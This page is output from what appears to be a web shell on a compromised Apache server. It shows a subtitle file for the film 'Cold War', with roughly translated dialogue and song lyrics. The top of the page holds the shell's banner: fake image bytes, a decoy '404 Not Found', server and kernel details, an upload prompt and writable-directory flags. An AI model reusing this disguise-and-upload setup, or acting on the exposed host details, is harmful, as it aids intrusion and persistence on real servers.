����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/upload/subtitle/12-2018/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/vidoe.top/upload/subtitle/12-2018/5c2106c5509ef-1545668293.vtt
WEBVTT

1
00:00:30.134 --> 00:00:37.960
Subtitled by: Nizar Ezzeddine

2
00:01:08.965 --> 00:01:12.580
♪ <i>I knocked. I cried. ♪
♪ she did not want to open</i> ♪

3
00:01:12.798 --> 00:01:16.294
♪ <i>I knocked. I cried. ♪
♪ she did not want to open</i> ♪

4
00:01:16.507 --> 00:01:20.157
♪ <i>I had to put my head</i>
<i>on a stone and slept</i> ♪

5
00:01:20.382 --> 00:01:23.949
♪ <i>I had to put my head</i>
<i>on a stone and slept</i> ♪

6
00:01:38.632 --> 00:01:42.069
♪ <i>My head on a stone,</i>
<i>and legs near the threshold</i> ♪

7
00:01:42.298 --> 00:01:46.043
♪ <i>My head on a stone,</i>
<i>and legs near the threshold</i> ♪

8
00:01:46.257 --> 00:01:49.694
♪ <i>Open up, virgin girl,</i>
<i>be afraid of God</i> ♪

9
00:01:49.924 --> 00:01:53.456
♪ <i>Open up, virgin girl,</i>
<i>be afraid of God</i> ♪

10
00:02:02.726 --> 00:02:06.299
COLD WAR

11
00:02:07.757 --> 00:02:11.917
And this is not too crude, primitive?

12
00:02:12.204 --> 00:02:13.880
No, why?

13
00:02:13.906 --> 00:02:16.608
Because every drunk guy
was singing with us.

14
00:02:31.233 --> 00:02:34.065
♪ <i>Oh, Dana, my Dana,</i>
<i>I will not marry you</i> ♪

15
00:02:34.340 --> 00:02:37.173
♪ <i>And I will continue</i>
<i>going out alone</i> ♪

16
00:02:51.799 --> 00:02:54.572
♪ <i>Oh, marriage, marriage...</i> ♪

17
00:02:54.799 --> 00:02:58.367
♪ <i>There would not be</i>
<i>a marriage with you</i> ♪

18
00:03:06.757 --> 00:03:09.838
♪ <i>I will not drink it,</i>
<i>that court's wine</i> ♪

19
00:03:10.007 --> 00:03:14.131
♪ <i>Because it hurts me</i>
<i>and leaves me in headache</i> ♪

20
00:03:25.424 --> 00:03:30.212
♪ <i>Two hearts, four eyes</i> ♪

21
00:03:30.489 --> 00:03:32.765
♪ <i>Oh, oh, oh</i> ♪

22
00:03:32.793 --> 00:03:37.983
♪ <i>What cried during all day and night</i> ♪

23
00:03:38.615 --> 00:03:40.901
♪ <i>Oh, oh, oh</i> ♪

24
00:03:41.091 --> 00:03:46.210
♪ <i>That black eyes, which you cry</i> ♪

25
00:03:46.424 --> 00:03:51.462
♪ <i>are not able to meet you again</i> ♪

26
00:03:51.674 --> 00:03:57.778
♪ <i>are not able to meet you again</i> ♪

27
00:03:57.949 --> 00:03:59.904
♪ <i>Oh, oh, oh</i> ♪

28
00:04:04.380 --> 00:04:07.652
Poland, 1949

29
00:04:26.216 --> 00:04:28.361
It's nice.

30
00:04:28.591 --> 00:04:32.028
- What are they singing for?
- It's for Lemkos.

31
00:04:33.495 --> 00:04:35.355
I thought so.

32
00:04:38.430 --> 00:04:40.291
What a pity!

33
00:04:40.424 --> 00:04:43.957
- Why is it a pity?
- Because it's not ours.

34
00:04:45.080 --> 00:04:48.646
Mr. Kaczmarek, ours or not ours,
it's none of your business.

35
00:06:34.133 --> 00:06:37.214
Guys!
You have the right to ask,

36
00:06:37.522 --> 00:06:40.383
what are we doing here before
the palace of landowners.

37
00:06:40.509 --> 00:06:44.077
I have a duty to answer:
Now this is your home.

38
00:06:44.154 --> 00:06:48.367
And these doors lead
to the world of music, song and dance.

39
00:06:49.035 --> 00:06:52.160
That music that was born
in the field of slavery.

40
00:06:52.267 --> 00:06:54.756
The music of your grandfathers
and great-grandparents.

41
00:06:54.782 --> 00:06:57.614
Music of pain, harm, humiliation.

42
00:06:58.257 --> 00:07:00.912
If it smiled - it was through tears.

43
00:07:01.312 --> 00:07:05.044
Now you have the right to ask if
we all will enter through this door.

44
00:07:05.200 --> 00:07:08.104
I will tell you:
absolutely not everyone.

45
00:07:08.422 --> 00:07:11.500
Only the best of the best
who will come inside.

46
00:07:11.526 --> 00:07:14.263
and under the watchful
eye of our pedagogues,

47
00:07:14.675 --> 00:07:17.923
Those are who will enter the stages of
Poland and the entire camp.

48
00:07:18.157 --> 00:07:22.038
That's why I am calling you for
a ruthless and noble fight.

49
00:07:22.175 --> 00:07:24.035
with each other and with yourselves.

50
00:07:24.299 --> 00:07:27.570
This is the end of the tragic fate
of Jankov The Musician.

51
00:07:27.758 --> 00:07:29.583
- Hurray!
- Hurray!

52
00:07:52.425 --> 00:07:55.993
- You think you need to know about notes?
- They want it in a peasant way.

53
00:08:02.467 --> 00:08:04.529
And you?
What will you sing?

54
00:08:04.686 --> 00:08:06.546
Something highlander.

55
00:08:08.252 --> 00:08:09.958
And you?

56
00:08:11.383 --> 00:08:13.244
I do not know yet.

57
00:08:14.381 --> 00:08:16.526
Sing your song for us.

58
00:08:19.426 --> 00:08:23.027
♪ <i>I'm off to the water,</i> ♪
♪ <i>come to the water,</i> ♪

59
00:08:23.258 --> 00:08:27.003
♪ <i>How can I give you my hand</i> ♪

60
00:08:27.330 --> 00:08:29.274
♪ <i>I give it to you, and..</i> ♪

61
00:08:29.300 --> 00:08:31.291
Nice. I know it.

62
00:08:33.190 --> 00:08:35.643
It's nice for two voices.

63
00:08:36.693 --> 00:08:41.185
♪ <i>I'm off to the water,</i> ♪
♪ <i>come to the water,</i> ♪

64
00:08:41.467 --> 00:08:45.912
♪ <i>We will not be with each other</i> ♪

65
00:08:46.092 --> 00:08:49.707
♪ <i>Let's teach the horse to swim</i> ♪

66
00:08:49.753 --> 00:08:53.024
♪ <i>So we will go with each other</i> ♪

67
00:08:53.425 --> 00:08:56.696
♪ <i>Let's teach the horse to swim</i> ♪

68
00:08:57.015 --> 00:09:00.027
♪ <i>So we will go with each other</i> ♪

69
00:09:00.053 --> 00:09:01.647
- Thanks a lot.
- You're welcome.

70
00:09:01.673 --> 00:09:04.446
Excuse me...
The girl with the fringe...

71
00:09:04.675 --> 00:09:07.164
Can you perform something alone?

72
00:09:07.425 --> 00:09:09.796
- Sing?
- Yes.

73
00:09:33.177 --> 00:09:34.642
- Thank you.
- Just the refrain.

74
00:10:01.184 --> 00:10:03.424
- Where did you get it from?
- From a film.

75
00:10:03.918 --> 00:10:07.347
There was a mobile cinema in the
countryside and showed a Russian film.

76
00:10:07.467 --> 00:10:09.579
Its name was "Jolly Fellows".

77
00:10:09.674 --> 00:10:12.826
- And what is it about?
- About love! "Heart".

78
00:10:14.240 --> 00:10:15.966
And how about you with dancing?

79
00:10:16.001 --> 00:10:18.490
I know the basic steps,
and I can learn the rest.

80
00:10:18.516 --> 00:10:21.239
- That's great. Thank you.
- Thank you.

81
00:10:25.141 --> 00:10:27.630
That girl has a beautiful pure voice.

82
00:10:27.670 --> 00:10:30.538
- Yes, but there's also something in her.
- What is it?

83
00:10:30.793 --> 00:10:34.159
Energy, tender.
This is original.

84
00:10:35.551 --> 00:10:37.506
If you say so.

85
00:10:43.359 --> 00:10:46.683
Twelve dancers can be easily found.

86
00:10:50.454 --> 00:10:52.522
Do you see yours?

87
00:10:54.051 --> 00:10:55.911
What do you mean with "mine"?

88
00:10:56.092 --> 00:10:58.616
The girl of "Heart".

89
00:10:58.948 --> 00:11:01.010
She is very strange...

90
00:11:04.714 --> 00:11:06.362
Oh, oh!

91
00:11:07.468 --> 00:11:09.495
Nice girl.

92
00:11:10.884 --> 00:11:14.407
And not even from Podhale, but
from Tomaszow. Incredible.

93
00:11:14.782 --> 00:11:17.972
- She has a good voice.
- She even had a sentence.

94
00:11:18.493 --> 00:11:19.912
What sentence?

95
00:11:19.938 --> 00:11:22.060
- Apparently she killed her father.
- What?

96
00:11:22.174 --> 00:11:25.326
Supposedly. She was in jail for some time.

97
00:11:29.582 --> 00:11:32.983
- How do you know that?
- Kaczmarek checked it.

98
00:11:42.093 --> 00:11:44.155
Your head, Zula!

99
00:12:14.009 --> 00:12:16.214
Heads up.

100
00:12:25.181 --> 00:12:27.078
Well, now catch it properly.

101
00:12:27.835 --> 00:12:29.729
- Fuck!
- Fuck!

102
00:12:44.596 --> 00:12:46.800
How was it with this father?

103
00:12:47.725 --> 00:12:50.842
- What father?
- Your father.

104
00:12:51.172 --> 00:12:52.923
What was it supposed to be?

105
00:12:53.280 --> 00:12:55.271
Why you were in jail?

106
00:12:57.122 --> 00:13:00.467
He made a mistake with my mother, so
I showed him his fault with a knife.

107
00:13:02.908 --> 00:13:05.301
He survived, do not be afraid.

108
00:13:11.436 --> 00:13:15.414
Are you interested in me, because
I have a talent or in general?

109
00:13:18.885 --> 00:13:20.318
Try this note.

110
00:14:00.264 --> 00:14:02.103
Good!

111
00:15:10.552 --> 00:15:13.740
Pull, pull, higher the leg!

112
00:15:15.635 --> 00:15:17.211
Well!

113
00:15:25.802 --> 00:15:27.947
Beautiful, Mateus, bravo!

114
00:15:35.969 --> 00:15:37.959
Hold the pace!

115
00:15:43.553 --> 00:15:46.457
We look at each other!

116
00:15:46.727 --> 00:15:50.057
One, two, three, one, two, three,
a pause, a turn!

117
00:15:50.302 --> 00:15:52.957
One, two, three, one, two, three!

118
00:16:23.333 --> 00:16:26.775
Warsaw, 1951

119
00:16:28.121 --> 00:16:32.743
♪ <i>Two hearts, four eyes</i> ♪

120
00:16:32.791 --> 00:16:37.485
♪ <i>Oh, oh, oh</i> ♪

121
00:16:37.927 --> 00:16:42.870
♪ <i>What cried during all day and night</i> ♪

122
00:16:43.052 --> 00:16:48.623
♪ <i>Oh, oh, oh</i> ♪

123
00:16:48.844 --> 00:16:53.904
♪ <i>That black eyes, which you cry</i> ♪

124
00:16:54.136 --> 00:17:00.452
♪ <i>are not able to meet you again</i> ♪

125
00:17:00.677 --> 00:17:08.535
♪ <i>are not able to meet you again</i> ♪

126
00:17:08.761 --> 00:17:15.954
♪ <i>Oh, oh, oh</i> ♪

127
00:17:20.969 --> 00:17:25.496
♪ <i>And I'm like a boy with no mother</i> ♪

128
00:17:25.719 --> 00:17:30.697
♪ <i>Oh, oh, oh</i> ♪

129
00:17:30.927 --> 00:17:35.657
♪ <i>And who'd love such a boy</i> ♪

130
00:17:35.795 --> 00:17:41.366
♪ <i>Oh, oh, oh</i> ♪

131
00:17:41.750 --> 00:17:46.621
♪ <i>Their heart will become a stone</i> ♪

132
00:17:46.761 --> 00:17:53.742
♪ <i>who put that boy in this pain</i> ♪

133
00:17:53.969 --> 00:18:01.447
♪ <i>who put that boy in this pain</i> ♪

134
00:18:01.678 --> 00:18:09.038
♪ <i>Oh, oh, oh</i> ♪

135
00:18:37.928 --> 00:18:41.578
I've had enough of this.
It starts to irritate me.

136
00:18:42.761 --> 00:18:44.622
Come on, we're going off.

137
00:18:44.844 --> 00:18:48.661
- Wait, let me enjoy it.
- Let them have fun.

138
00:18:50.524 --> 00:18:52.800
We will also have fun.

139
00:18:58.975 --> 00:19:01.197
I must tell you something.

140
00:19:01.443 --> 00:19:05.722
I've never believe in all of this,
in all of folk art.

141
00:19:05.928 --> 00:19:09.294
And this... touched me deeply.
What genius are you!

142
00:19:09.511 --> 00:19:13.197
To make something so beautiful
out of something like that?

143
00:19:14.442 --> 00:19:16.185
Thank you.

144
00:19:17.307 --> 00:19:20.555
This is the most beautiful day
in my life.

145
00:20:20.387 --> 00:20:23.964
You've reached the priceless
treasures of the national culture,

146
00:20:23.990 --> 00:20:26.229
which is beautiful and glorious.

147
00:20:27.200 --> 00:20:32.522
Your collection has great potential.
I would like it to become our main program.

148
00:20:33.239 --> 00:20:37.510
But I think it's time to enter
new elements for the program:

149
00:20:37.887 --> 00:20:42.924
something about land reform,
global peace, and its threats.

150
00:20:43.970 --> 00:20:48.149
A strong song about the leader
of proletariat in the whole world.

151
00:20:48.678 --> 00:20:52.382
Then we will appreciate it,
and reward it.

152
00:20:54.609 --> 00:20:59.799
In the future, who knows, maybe you'd
visit Berlin, Prague, Budapest, Moscow..?

153
00:20:59.928 --> 00:21:02.204
What do you think about it?

154
00:21:05.178 --> 00:21:09.670
On behalf of the whole "Mazurka", thank
you for appreciating our work,

155
00:21:09.696 --> 00:21:14.164
but the program is based
on authentic folk art.

156
00:21:14.367 --> 00:21:19.359
The rural population does not sing
about reform, peace, and leadership.

157
00:21:19.714 --> 00:21:22.221
They just don't sing that.
so it would be difficult.

158
00:21:22.904 --> 00:21:25.109
I understand.

159
00:21:25.574 --> 00:21:30.293
If you don't mind... I'm Kaczmarek Lech,
The administrative manager.

160
00:21:30.512 --> 00:21:34.486
Comrade Bielecka, I assure
you that our nation

161
00:21:34.512 --> 00:21:37.700
it is not that naive at all,
including the villagers.

162
00:21:37.726 --> 00:21:41.922
On the contrary. They will sing
about these most important matters,

163
00:21:42.247 --> 00:21:44.700
according to their hidden need,

164
00:21:45.166 --> 00:21:48.692
if we give them the permission,
and if we support them.

165
00:21:49.701 --> 00:21:52.908
This is where I perceive
the role of our Mazurka.

166
00:21:54.116 --> 00:21:55.348
Thank you.

167
00:22:10.070 --> 00:22:11.638
Thank you.

168
00:22:11.664 --> 00:22:16.784
♪ <i>About the wise, beloved</i> ♪

169
00:22:17.054 --> 00:22:21.996
♪ <i>by the peoples of Stalin</i> ♪

170
00:22:22.220 --> 00:22:27.091
♪ <i>Gorgeous songs still</i> ♪

171
00:22:27.304 --> 00:22:32.424
♪ <i>arrange our age</i> ♪

172
00:22:32.637 --> 00:22:37.698
♪ <i>About the wise, beloved</i> ♪

173
00:22:37.929 --> 00:22:42.907
♪ <i>By the peoples of Stalin</i> ♪

174
00:22:43.095 --> 00:22:48.074
♪ <i>Gorgeous songs still</i> ♪

175
00:22:48.304 --> 00:22:54.503
♪ <i>arrange our age</i> ♪

176
00:22:54.721 --> 00:23:02.044
♪ <i>arrange our age</i> ♪

177
00:23:25.429 --> 00:23:27.488
We vow you, Motherland...

178
00:23:30.387 --> 00:23:33.674
for the will of great
patriots and revolutionaries...

179
00:23:36.494 --> 00:23:39.595
...Feliks Dzerzhinsky and
Karol Świerczewski...

180
00:23:40.101 --> 00:23:42.340
We're going to Berlin.

181
00:23:44.971 --> 00:23:47.838
For the youth festival in December.

182
00:23:50.044 --> 00:23:54.168
Today Berlin, tomorrow Moscow, and the
day after tomorrow God knows where!

183
00:23:54.455 --> 00:23:58.070
...and develop perpetual friendship

184
00:23:58.096 --> 00:24:00.549
with a powerful Soviet state...

185
00:24:00.762 --> 00:24:04.579
Do not you think that something
must be done with this Janicka?

186
00:24:04.804 --> 00:24:08.052
- What is up with her?
- She is so depressed.

187
00:24:10.096 --> 00:24:14.469
The band is supposed to be dyed as
Polish folk, typically Slavic.

188
00:24:16.388 --> 00:24:18.911
May God look at their eyes.

189
00:24:22.429 --> 00:24:25.759
And about this Berlin,
how do you know that?

190
00:24:26.052 --> 00:24:28.459
From the minister.

191
00:24:33.804 --> 00:24:37.300
Okay, maybe I'm exaggerating.
It is dyed.

192
00:24:37.326 --> 00:24:43.810
♪ <i>Do not say that we worth nothing,</i> ♪
♪ <i>We shall be the masters of the world!</i> ♪

193
00:24:44.221 --> 00:24:48.250
♪ <i>This is the final struggle</i> ♪

194
00:24:59.402 --> 00:25:03.052
I will be with you always, everywhere
and until the end of the world.

195
00:25:10.093 --> 00:25:12.795
But I have to tell you something.

196
00:25:13.721 --> 00:25:15.427
Hm?

197
00:25:19.576 --> 00:25:21.816
I'm covering you.

198
00:25:30.012 --> 00:25:32.536
What does that mean "I'm covering you"?

199
00:25:32.924 --> 00:25:36.457
I go to Kaczmarek every week
to make a confession.

200
00:25:40.452 --> 00:25:43.700
But I am not saying anything
that would harm you.

201
00:25:45.763 --> 00:25:49.331
The worst thing is
that he is attracted to me.

202
00:25:50.436 --> 00:25:52.047
What is he asking you about?

203
00:25:52.221 --> 00:25:56.631
That's what... what were you doing
during the war or listening to slow music,

204
00:25:56.846 --> 00:25:59.368
do you have dollars or
do you believe in God.

205
00:26:00.051 --> 00:26:01.630
Do you believe?

206
00:26:02.069 --> 00:26:03.527
I do.

207
00:26:08.263 --> 00:26:11.664
I knew it will be like this.
Damn me, idiot.

208
00:26:12.878 --> 00:26:16.737
What would you do in my place?
I was for two years in jail.

209
00:26:16.763 --> 00:26:18.908
Otherwise they would not accept me.

210
00:26:19.096 --> 00:26:20.744
Wictor!

211
00:26:22.672 --> 00:26:26.963
Good! I wish a dog fucks you, bourgeois!
Graceless, arrogant!

212
00:26:28.846 --> 00:26:32.379
If I wanted to fuck you up,
I could've done it easily!

213
00:28:07.680 --> 00:28:10.821
Berlin is today, as you
know, the front line

214
00:28:10.847 --> 00:28:14.556
between the socialist camp
and the imperialist camp.

215
00:28:14.582 --> 00:28:17.699
Between the forces of peace
and the revelers.

216
00:28:18.222 --> 00:28:23.165
And on the front line, like any of the
front lines, strange things may happen.

217
00:28:23.372 --> 00:28:28.776
That is why we must open our eyes, be
vigilant and responsible for each other.

218
00:28:28.972 --> 00:28:31.994
And besides, you know what
I am going to tell you,

219
00:28:32.222 --> 00:28:34.533
Germany, however, is Germany.

220
00:28:35.022 --> 00:28:38.113
And that's why if something happened
it'd be the first and last time,

221
00:28:38.139 --> 00:28:40.201
during the adventure of your life!

222
00:28:44.264 --> 00:28:45.496
Excuse me.

223
00:28:47.097 --> 00:28:48.424
Excuse me.

224
00:29:23.305 --> 00:29:26.196
400 meters take about ten minutes.

225
00:29:26.222 --> 00:29:29.837
The Russian sector ends here.
So I will be waiting here.

226
00:29:44.681 --> 00:29:48.295
But what will I do there?
Who will I be there?

227
00:29:51.270 --> 00:29:54.766
You will be there with me.
We'll be together.

228
00:29:54.792 --> 00:29:57.447
I do not speak French or anything.

229
00:29:57.765 --> 00:30:01.261
You will learn it.
You have a good ear. You have a talent.

230
00:30:02.429 --> 00:30:06.328
You are unique.
I do not want to live without you.

231
00:30:15.472 --> 00:30:17.925
Okay. They are coming.

232
00:31:47.112 --> 00:31:52.552
What's up with you? There is a party.
The comrades want to meet you.

233
00:31:52.723 --> 00:31:55.745
Let me adjust my hair, okay?
I'll be there right now.

234
00:31:58.426 --> 00:32:00.208
You look nice.

235
00:32:01.905 --> 00:32:03.593
Hurry up.

236
00:32:43.806 --> 00:32:47.930
- Poland, and East Germany..
- Poland, Germany...

237
00:32:48.140 --> 00:32:50.416
Good friendship.

238
00:32:50.640 --> 00:32:52.595
Communist brothers.

239
00:32:52.806 --> 00:32:56.421
...He refers to it as
Communist friendship.

240
00:32:56.640 --> 00:32:59.828
We are brothers
Brothers and sisters.

241
00:33:00.015 --> 00:33:03.203
We are brothers and sisters.

242
00:33:05.890 --> 00:33:07.990
- Does it taste good?
- Yes.

243
00:33:08.015 --> 00:33:10.160
- It's homemade.
- Really?

244
00:33:10.390 --> 00:33:12.132
It is our specialty.

245
00:33:12.348 --> 00:33:14.742
Thank you. It's very good.

246
00:33:14.973 --> 00:33:18.054
- Fish is from the Baltic Sea.
- Really?

247
00:34:18.890 --> 00:34:20.419
Excuse me.

248
00:35:40.879 --> 00:35:43.328
Paris, 1954

249
00:36:02.849 --> 00:36:04.211
Taxi!

250
00:36:25.682 --> 00:36:27.245
The same order, please.

251
00:36:27.271 --> 00:36:30.206
No, sir.
I'm sorry, we're really closing now.

252
00:36:30.315 --> 00:36:33.847
You can go to the " Marlette",
if you want. They are open till morning.

253
00:36:34.391 --> 00:36:39.428
But between us, as she
has not come yet, she will not come.

254
00:36:44.766 --> 00:36:45.807
Ah!

255
00:37:03.904 --> 00:37:06.305
How long will you stay in Paris?

256
00:37:06.682 --> 00:37:08.543
Tomorrow we're going back.

257
00:37:10.312 --> 00:37:12.329
How are you living here?

258
00:37:14.432 --> 00:37:16.035
Somehow it works.

259
00:37:16.324 --> 00:37:19.856
I arrange, compose, play in a club.

260
00:37:21.754 --> 00:37:23.579
Good in general.

261
00:37:26.412 --> 00:37:27.869
Do you have somebody?

262
00:37:28.888 --> 00:37:30.422
Yes.

263
00:37:30.797 --> 00:37:32.409
Me too.

264
00:37:35.349 --> 00:37:37.910
And what? Are you happy?

265
00:37:47.579 --> 00:37:51.388
- I'll take you to the hotel.
- Better not. You know how things are.

266
00:37:51.509 --> 00:37:53.287
Just a little bit.

267
00:37:53.699 --> 00:37:55.951
Nobody will see us.

268
00:38:00.308 --> 00:38:05.001
Can you explain why you
did not come that day?

269
00:38:10.264 --> 00:38:12.919
I felt that we would fail.

270
00:38:15.031 --> 00:38:18.279
I mean, not that we cannot escape...

271
00:38:18.433 --> 00:38:21.549
But that something about me,
that I'm worse.

272
00:38:21.766 --> 00:38:23.793
How is it "worse"?

273
00:38:23.974 --> 00:38:25.930
Worse than you...

274
00:38:26.141 --> 00:38:28.381
Not the worst at all.

275
00:38:28.941 --> 00:38:31.123
- You know what I mean.
- I don't.

276
00:38:31.471 --> 00:38:33.873
I know love is love, that's it.

277
00:38:34.024 --> 00:38:37.923
I know one thing.
I would not run away without you.

278
00:38:39.558 --> 00:38:41.383
Don't walk further.

279
00:39:55.850 --> 00:39:58.931
Were you with a whore?

280
00:40:00.364 --> 00:40:02.983
I can't afford whores.

281
00:40:04.603 --> 00:40:07.402
I was with the woman of my life.

282
00:40:07.981 --> 00:40:09.972
Amazing.

283
00:40:10.975 --> 00:40:13.286
Well, let me sleep then.

284
00:40:39.219 --> 00:40:43.068
Yugoslavia, 1955

285
00:41:24.531 --> 00:41:27.248
Now it looks you are here somehow, right?

286
00:41:27.812 --> 00:41:29.586
- Good morning.
- Good morning.

287
00:41:29.684 --> 00:41:31.639
- Do you have a ticket?
- Yes.

288
00:41:31.850 --> 00:41:34.588
I am very curious about what you'll say.

289
00:41:34.760 --> 00:41:39.467
New program, new songs,
one even Yugoslavian.

290
00:41:39.850 --> 00:41:42.162
Such a nod to the hosts.

291
00:41:42.384 --> 00:41:43.960
Nice.

292
00:41:44.184 --> 00:41:47.585
In general, it has now gained
momentum, and fame.

293
00:41:48.050 --> 00:41:51.700
It is a pity you were not there.
You were a talent.

294
00:41:52.809 --> 00:41:54.339
I'll invite you to our lodge.

295
00:41:54.365 --> 00:41:56.853
No, thanks.
I have a very good place.

296
00:41:57.086 --> 00:41:59.645
Good. Good.
See you later.

297
00:42:06.392 --> 00:42:13.847
♪ <i>Silver thread on Serbian cloth</i> ♪

298
00:42:14.017 --> 00:42:21.211
♪ <i>In a thin yarn, fine stitches,</i>
<i>says my beloved sweetheart</i> ♪

299
00:42:21.463 --> 00:42:25.048
♪ <i>Milan...</i> ♪

300
00:42:25.267 --> 00:42:28.953
♪ <i>Dearest</i> ♪

301
00:42:29.086 --> 00:42:36.197
♪ <i>Kisses to you straight from Moravia</i> ♪

302
00:42:36.517 --> 00:42:44.851
♪ <i>I promised my hand to touch Milan</i> ♪

303
00:42:45.934 --> 00:42:51.433
<i>Silk thread, comes out my dreams</i> ♪

304
00:42:51.642 --> 00:42:57.580
<i>A thin thread is coming out my dreams</i> ♪

305
00:44:27.777 --> 00:44:29.981
Where are you taking me?

306
00:44:30.226 --> 00:44:32.317
To Moscow.

307
00:44:33.018 --> 00:44:36.085
Why?
I'm here legally. I have a visa.

308
00:44:36.184 --> 00:44:38.983
In France, I am a resident.
I'm not Polish anymore.

309
00:44:39.009 --> 00:44:40.659
We know all of that.

310
00:44:42.773 --> 00:44:45.712
Relax, you're not going to Moscow.

311
00:44:46.684 --> 00:44:51.473
You'll go to Zagreb, and from
there to Paris or wherever you like.

312
00:44:53.592 --> 00:44:55.513
The Polish wanted us to
send you back to Warsaw.

313
00:44:55.538 --> 00:44:57.931
But it's not in your favor, right?

314
00:44:59.256 --> 00:45:00.477
Fuck!

315
00:45:12.143 --> 00:45:15.508
- Let me stay. One night.
- The train is waiting.

316
00:45:15.726 --> 00:45:20.783
Please understand, this is about a woman
my love. My life...

317
00:45:20.810 --> 00:45:23.487
And what? Do you want to come
back to Warsaw with her?

318
00:45:24.224 --> 00:45:26.002
"Femme fatale".

319
00:45:29.099 --> 00:45:32.429
They say that Warsaw is Paris of the East.

320
00:45:35.060 --> 00:45:38.923
♪ <i>And I'm like a boy with no mother</i> ♪

321
00:45:39.143 --> 00:45:44.370
♪ <i>Oh, oh, oh</i> ♪

322
00:45:44.601 --> 00:45:49.259
♪ <i>And who'd love such a boy</i> ♪

323
00:45:49.476 --> 00:45:55.261
♪ <i>Oh, oh, oh</i> ♪

324
00:45:55.563 --> 00:45:59.988
♪ <i>And I'm just remains
of a boy and a voice</i> ♪

325
00:46:00.014 --> 00:46:07.182
♪ <i>I will love as long as I live</i> ♪

326
00:46:07.533 --> 00:46:15.725
♪ <i>I will love as long as I live</i> ♪

327
00:46:15.935 --> 00:46:24.268
♪ <i>Oh, oh, oh</i> ♪

328
00:47:09.956 --> 00:47:13.210
Paris, 1957

329
00:47:17.852 --> 00:47:21.100
Wait!
The piano does not fit here.

330
00:47:21.261 --> 00:47:24.034
We will use it only in the murder scene.

331
00:47:24.179 --> 00:47:28.741
The music came too early.
Wait for the shadow to appear.

332
00:47:29.125 --> 00:47:30.239
Well.

333
00:48:05.685 --> 00:48:08.625
- So you have a husband, right?
- Yes.

334
00:48:10.702 --> 00:48:12.847
I did that for us.

335
00:48:14.083 --> 00:48:17.413
But a non-church wedding,
so it does not count.

336
00:48:18.394 --> 00:48:21.368
- What's your name now?
- Gangarossa-Lichon.

337
00:48:21.394 --> 00:48:25.387
- Ganga-what?
- Gangarossa, It's a Sicilian surname.

338
00:48:26.727 --> 00:48:29.453
The most important is
that you are not married.

339
00:48:29.769 --> 00:48:32.424
- Are you?
- Come on!

340
00:48:39.379 --> 00:48:41.524
I've been waiting for you.

341
00:51:09.228 --> 00:51:13.091
♪ <i>Two hearts, four eyes</i> ♪

342
00:51:13.311 --> 00:51:15.705
♪ <i>Oh, oh, oh</i> ♪

343
00:51:18.436 --> 00:51:22.300
♪ <i>What cried during all day and night</i> ♪

344
00:51:22.519 --> 00:51:25.518
♪ <i>Oh, oh, oh</i> ♪

345
00:51:27.644 --> 00:51:32.171
♪ <i>That black eyes, which you cry</i> ♪

346
00:51:32.394 --> 00:51:36.388
♪ <i>are not able to meet you again</i> ♪

347
00:51:36.603 --> 00:51:41.972
♪ <i>are not able to meet you again</i> ♪

348
00:51:51.019 --> 00:51:54.136
♪ <i>And I'm like a boy with no mother</i> ♪

349
00:51:54.353 --> 00:51:56.841
♪ <i>Oh, oh, oh</i> ♪

350
00:51:59.978 --> 00:52:04.256
♪ <i>And who'd love such a boy</i> ♪

351
00:52:04.478 --> 00:52:07.500
♪ <i>Oh, oh, oh</i> ♪

352
00:52:09.686 --> 00:52:14.213
♪ <i>And I'm just remains
of a boy and voice</i> ♪

353
00:52:14.436 --> 00:52:18.004
♪ <i>I will love as long as I live</i> ♪

354
00:52:18.228 --> 00:52:23.206
♪ <i>I will love as long as I live</i> ♪

355
00:52:44.645 --> 00:52:48.917
♪ <i>Le pendule a tué le temps</i> ♪

356
00:52:50.332 --> 00:52:54.015
♪ <i>Qui de nous retiendra l'instant</i> ♪

357
00:52:55.268 --> 00:52:57.669
Aren't there too many
of the letter "r" in a row?

358
00:52:57.872 --> 00:52:59.069
No.

359
00:53:00.353 --> 00:53:04.544
♪ <i>Des amants ont fui survivants</i> ♪

360
00:53:05.075 --> 00:53:06.900
♪ <i>Oh Mon Dieu</i> ♪

361
00:53:08.784 --> 00:53:11.178
This does not sit in the melody either.

362
00:53:12.603 --> 00:53:15.476
How to say it, makes it sits.

363
00:53:17.228 --> 00:53:20.309
And what does this have to do with "Heart"?

364
00:53:21.978 --> 00:53:24.633
It's such a free translation.

365
00:53:24.747 --> 00:53:28.813
I wonder who translated it?
Do not say that is your writer!

366
00:53:30.437 --> 00:53:34.928
Yes, what?
Juliette did it for us for free.

367
00:53:35.336 --> 00:53:37.041
I thought that.

368
00:53:37.612 --> 00:53:39.474
What a stupid text.

369
00:53:39.645 --> 00:53:44.054
"The pendulum killed time."
"Oh my God". Really, oh my God!

370
00:53:44.430 --> 00:53:48.874
She has also found a critic too. Juliette
is a very good poet. So famous.

371
00:53:49.711 --> 00:53:52.806
- They just publish an anthology of hers.
- I will not sing it.

372
00:53:52.833 --> 00:53:56.103
- Well, there will not be a record, then.
- There will not be a record!

373
00:54:31.187 --> 00:54:34.268
And be nice to Michel,
he can do a lot of things here.

374
00:54:34.767 --> 00:54:37.726
Somehow we like each other,
and you'll like that even more.

375
00:54:37.937 --> 00:54:40.475
- Why more?
- Because you're cute.

376
00:54:40.786 --> 00:54:42.931
You have, what they call<i> Slavic Charm.</i>

377
00:54:42.982 --> 00:54:44.991
Do not overdo it with makeup,
because you know...

378
00:54:45.017 --> 00:54:47.263
- What?
- It's good.

379
00:54:49.190 --> 00:54:51.845
And be yourself, do not get worried.

380
00:55:00.104 --> 00:55:03.126
- With a tie or without?
- With a tie.

381
00:55:06.421 --> 00:55:09.917
- Good evening.
- Good evening.

382
00:55:10.187 --> 00:55:13.435
- Who will be there?
- People with different interests.

383
00:55:13.645 --> 00:55:16.301
- Is your outstanding poet here too?
- Probably.

384
00:55:16.520 --> 00:55:20.016
Come on, she is harmless.
After me, she had two boyfriends.

385
00:55:20.261 --> 00:55:22.880
And for Michel, you can choose
the whole thing by yourself.

386
00:55:24.437 --> 00:55:27.139
Good evening.

387
00:55:34.812 --> 00:55:37.644
- Hey, Wiktor!
- This is Michel.

388
00:55:38.691 --> 00:55:40.509
This Michel. This is Zula.

389
